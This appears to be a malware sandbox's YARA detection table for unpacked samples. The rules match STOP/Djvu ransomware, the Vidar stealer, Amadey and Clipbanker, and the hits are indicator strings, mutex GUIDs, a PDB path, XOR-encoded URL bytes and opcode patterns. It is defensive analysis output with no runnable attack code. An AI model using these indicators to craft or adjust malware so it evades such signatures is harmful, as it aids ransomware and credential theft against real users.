18.2.D804.exe.24d15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
18.2.D804.exe.24d15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
13.2.D804.exe.25315a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
13.2.D804.exe.25315a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
13.2.D804.exe.25315a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
13.2.D804.exe.25315a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
24.2.build2.exe.8415a0.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
31.2.D804.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
31.2.D804.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
31.2.D804.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
31.2.D804.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
31.2.D804.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
31.2.D804.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
31.2.D804.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
31.2.D804.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
25.2.B46F.exe.24d15a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
25.2.B46F.exe.24d15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
25.2.B46F.exe.24d15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
25.2.B46F.exe.24d15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.D804.exe.26915a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
5.2.D804.exe.26915a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.D804.exe.26915a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.D804.exe.26915a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
30.2.build3.exe.1000000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
30.2.build3.exe.1000000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 00 01 6A 00 6A 00 FF 15 40 40 00 01 FF 15 2C 40 00 01 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 00 01 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 00 01 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
18.2.D804.exe.24d15a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
18.2.D804.exe.24d15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
18.2.D804.exe.24d15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
18.2.D804.exe.24d15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
35.0.mnolyk.exe.e00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
40.0.mstsca.exe.9b0000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
40.0.mstsca.exe.9b0000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
40.0.mstsca.exe.9b0000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 9B 00 6A 00 6A 00 FF 15 40 40 9B 00 FF 15 2C 40 9B 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 9B 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 9B 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
27.2.A170.exe.24c15a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
27.2.A170.exe.24c15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
27.2.A170.exe.24c15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
27.2.A170.exe.24c15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
24.2.build2.exe.8415a0.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
34.2.913F.exe.24115a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
34.2.913F.exe.24115a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
34.2.913F.exe.24115a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
34.2.913F.exe.24115a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
37.2.913F.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
37.2.913F.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
37.2.913F.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
37.2.913F.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
13.2.D804.exe.25315a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
13.2.D804.exe.25315a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
13.2.D804.exe.25315a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
13.2.D804.exe.25315a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
28.2.D804.exe.24615a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
28.2.D804.exe.24615a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
28.2.D804.exe.24615a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
28.2.D804.exe.24615a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
19.2.D804.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
19.2.D804.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
19.2.D804.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
19.2.D804.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
26.2.B46F.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth (Nextron Systems)	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472e:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
26.2.B46F.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
